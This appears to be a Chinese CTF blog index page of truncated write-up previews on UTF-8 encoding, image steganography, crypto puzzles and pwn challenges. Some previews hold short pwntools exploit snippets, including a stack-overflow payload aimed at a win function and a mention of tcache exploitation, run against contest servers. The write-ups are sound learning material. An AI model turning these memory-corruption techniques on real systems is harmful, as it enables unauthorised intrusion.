2.9k3 分钟

# MISC # Ranma½ 终归还是少了点经验,以及一些奇奇怪怪的知识。。。 # UTF-8 可变长编码 首先一定要详细了解 UTF-8 编码, 完整的表如下: 图中一行的 xxx... 部分组合起来即为对应的 Unicode 代码 可能这样还是比较难以理解,那就仔细阅读下面的例子就行了: 希伯来语字母 א 的 Unicode 代码是 U+05D0,UTF-8 是 0xD7 0x90, 则 Unicode to UTF-8 转换如下: 首先判断它属于哪一行: U+0080 到 U+07FF,观察表中对应行,说明它使用双字节,即 110xxxxx 10xxxxxx 然后分解十六进
8.8k8 分钟

# Crypto # Dancing_Line 有点靠脑洞啊,这道 crypto 不讲武德 /_ \ ,不过仔细看看还是大概能猜到的~ 图片上有一条线,放大可以看出,每隔一小段会有一个黑点 所以,我用 python PIL 库写个脚本导出黑点的坐标 123456789101112from PIL import Imageimg=Image.open('./Dancing_Line.bmp')w,h=img.size#print(w,h)pos=[]for i in range(w): for j in range(h)
7.9k7 分钟

# MISC # fumo_xor_cli(1.16) 啊啊啊,做这道题的时候就差一点,两张需要 xor 的图也导出来了,就是第一张那个需要叠加的图貌似排反了 ┭┮﹏┭┮ (做的时候就发现两张图长度都是一样的,难怪我说 xor 出来不太对劲。。。) # 第一张图 nc 连上之后,发现出来了一堆彩色字符 python PIL 转为图片,发现中间有两张图片部分有点奇怪 搜索了一下大概是 ANSI 转义字符,大致格式如下: \x1b[ 38 ; 2 ; 208 ; 243 ; 251 m9 38;2;r;g;b Set text colour to an RGB value (e.g. \x
7741 分钟

# Misc # YUSA 的小秘密 附件下载 题目描述:LSB,但又不是 LSB,众所周知不止 RGB... 直接用 stegsolve 打开有两个通道能直接看到 flag,可是噪点实在太多了. 联想到题目描述,开始查找资料. 可以参考 Bytectf2020 的 Misc: Hardcore Watermark 01 这道题 图片中每个像素可以通过三个通道来表示,常见的是 R (red) G (green) B (blue) 模式。而本题用到的通道是 YCrCb。 通过 cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb) 对 img 图片数据进行色彩
5.5k5 分钟

# spn(11.26) 附件下载 复现这道题的时候,我一开始用的是 0RAYS 的解法,大致是找 spn 的解密脚本,计算给出的 shell 的真实地址,然后用 tcache 打 shell,最后选 5 进 backdoor. 虽说是读懂了 0RAYS 的脚本,而且也算是进一步学习了一下 tcache 的机制, 然而我一番搜索,着实找不到好用的 spn 解密脚本,就只好另寻出路. 0RAY 的脚本放上: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515
2.4k2 分钟

文章时间太早,图片丢失 # Crypto-RingRingRing 连上后先是让我们输验证码,MD5,这个没什么好说的,爆破一下就出了。 然后让我们给出满足条件 a**4 + b**4 + c**4 + d**4 = e**2 的 100 个 a,b,c,d,e 依旧是爆破,判断 sqrt(a**4 + b**4 + c**4 + d**4) 的值为整数时,依次输出 a,b,c,d,e 就可以了,输出 100 个之后返回就可以得到 flag from pwn import* from math import sqrt r=remote('192.
7.7k7 分钟

文章时间太早,图片丢失 # Misc-red_vs_blue 简单来说就是 66 轮试错,同一次 nc 里面的答案是一样的,要么输入 r, 要么输入 b,错了就输入 y 重来,因为有时间限制,只能上脚本(本来还想手搓) 123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import *# sh=process("./buu--rip") local端sh = remote('node4.buuoj.c
3.5k3 分钟

# pwn1 都说了是测试 nc 了,连上就直接可以拿到 flag # pwn2 给我们个 password,你再传回去就完了 关键是要仔细读题,看仔细到底哪些是 password 1234567from pwn import *r=remote("219.219.61.234",6666 )print(r.recvuntil(b'*\n').decode())p=r.recvuntil(b'\n')[:-1]print(bytes(p))r.sendline(bytes(p))r.interactive() #
7.3k7 分钟

# PWN # pwn1 nc 连上 直接 cat flag # pwn2 经典栈溢出 123456789from pwn import *#r=process("./pwn2")r=remote('1.15.81.218',10001)p=b'a' * 72 + p64(0x400596)r.sendline(p)r.interactive() 直接传就行了... # pwn3 开了 NX 保护,没开金丝雀 有个 echo flag,感觉像是那么回事,实际上没用, 所以还是得通过 syst